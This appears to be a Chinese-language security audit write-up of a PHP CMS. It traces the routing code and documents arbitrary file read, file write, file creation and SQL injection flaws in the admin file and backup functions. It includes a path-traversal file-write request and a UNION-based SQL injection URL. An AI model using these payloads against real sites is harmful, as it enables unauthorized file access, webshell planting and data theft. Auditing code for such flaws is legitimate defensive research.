路由規則
分為前臺和后臺,
前臺在api.php中
<?php
session_start();
include('config.php');
include(SYS_ROOT.INC.'common.php');
$ctrl=$_REQUEST['ctrl'];
$action=$_REQUEST['action'];
$m=ucfirst($action);
if(!in_array($m,array('Api','Comment')))die;
$model=new $m();
if (method_exists($m,$ctrl)) {
$model->$ctrl();
}
主要是判斷m類參數是否有指定方法以及參數是否正確。
<?php
session_start();
include "../config.php";
include "../include/common.php";
$action=$_REQUEST['action'];
$ctrl=$_REQUEST['ctrl'];
$id=(array)$_REQUEST['id'];
//請登錄
if(!Base::checkadmin()&&$ctrl!='login'&&$ctrl!='checkUser'){
Base::showmessage('',"index.php?action=login",1);
}
$referInfo=parse_url($_SERVER['HTTP_REFERER']);
$referHost=isset($referInfo['port'])?"{$referInfo['host']}:{$referInfo['port']}":$referInfo['host'];
if($referHost !== $_SERVER['HTTP_HOST']&&$ctrl!='login'){
Base::showmessage('refer error','admin.php?action=frame&ctrl=logout');
}
if(Base::catauth($action)){
if(class_exists($action)){
$model=new $action($action,$id);
if (method_exists($action,$ctrl)) {
$model->$ctrl();
}
}
}
?>
好像規則差不多,就是加了一個session驗證,然后寫法不太一樣其他就差不多了。
任意文件讀取
在file.php中的download函數中,
function download(){
$info=pathinfo($this->path);
header('Content-Disposition: attachment; filename="'.$info['basename'].'"');
echo file_get_contents($this->realpath);
}
可以看到這個函數沒有對獲取文件進行任何過濾。
并且在managefile中有對參數的輸入
![[Pasted image 20250226225556.png]]
所以可以利用。
任意文件寫入
一、直接使用save
同樣位于File文件中
function save(){
$path=$this->path;
if(!is_writable($this->realpath))Base::showmessage('無保存權限');
$filedata=get_magic_quotes_gpc()?Base::magic2word($_POST['filedata']):$_POST['filedata'];
$status=file_put_contents($this->realpath,$filedata);
if($status){
Base::showmessage('保存成功','admin.php?action=file&ctrl=lists');
}
}
可以看到save函數并沒有對文件內容及文件名稱進行任何過濾,所以可以進行php文件寫入及替換
name=data%2Finstall.lock&filedata=arbitrary+file+writing+test&action=file&ctrl=save&path=../../importantfile.php&Submit=%E4%BF%9D%E5%AD%98
任意文件上傳
使用創建文件的create方法,可以進行創建文件,并且沒有過濾
function create(){
if(!$_GET['name']){
Base::showmessage('請填寫文件名/文件夾名');
}
$file=$this->realpath.'/'.$_GET['name'];
if($_GET['isdir']==1){
mkdir($file);
$str='目錄';
}else{
fopen($file,'a');
$str='文件';
}
if(!is_writable($file))Base::showmessage('新建'.$str.'失敗');
$info=pathinfo($this->path.$_GET['name']);
Base::showmessage('新建'.$str.'成功','admin.php?action=file&ctrl=lists&path='.$info['dirname']);
}
可以通過
![[Pasted image 20250227195758.png]]
進行調用,create函數,進行文件上傳
sql注入
function create(){
header('Content-type: application/txt');
header('Content-Disposition: attachment; filename="backup-'.date('Y-m-d').'.sql"');
$backups='';
$bulist=explode('|',$_GET['bulist']);
foreach($bulist as $bus){
$addsql=($bus=='cms'&&$_GET['from'])?' limit '.$_GET['from'].','.$_GET['to']:'';
$sql='select *from '.TB.$bus.$addsql;
$o=$this->db->query($sql);
while($data=$this->db->fetch_array($o)){
$colums='';
$datas='';
foreach($data as $key=>$v){
$colums.=$key.',';
$datas.="'".Base::safeword($v)."',";
}
$backups.= 'REPLACE INTO '.TB.$bus.' ('.substr($colums,0,-1).') VALUES('.substr($datas,0,-1).');'."\n";
}
}
echo substr($backups,0,-2);
}
可以看到這個create中bulist是可以自己上傳的,并且直接進行了拼接。
/admin/admin.php?action=datastore&ctrl=create&bulist=admin+where+id=1+union+select+(user()),2,3,4,5,6,7,8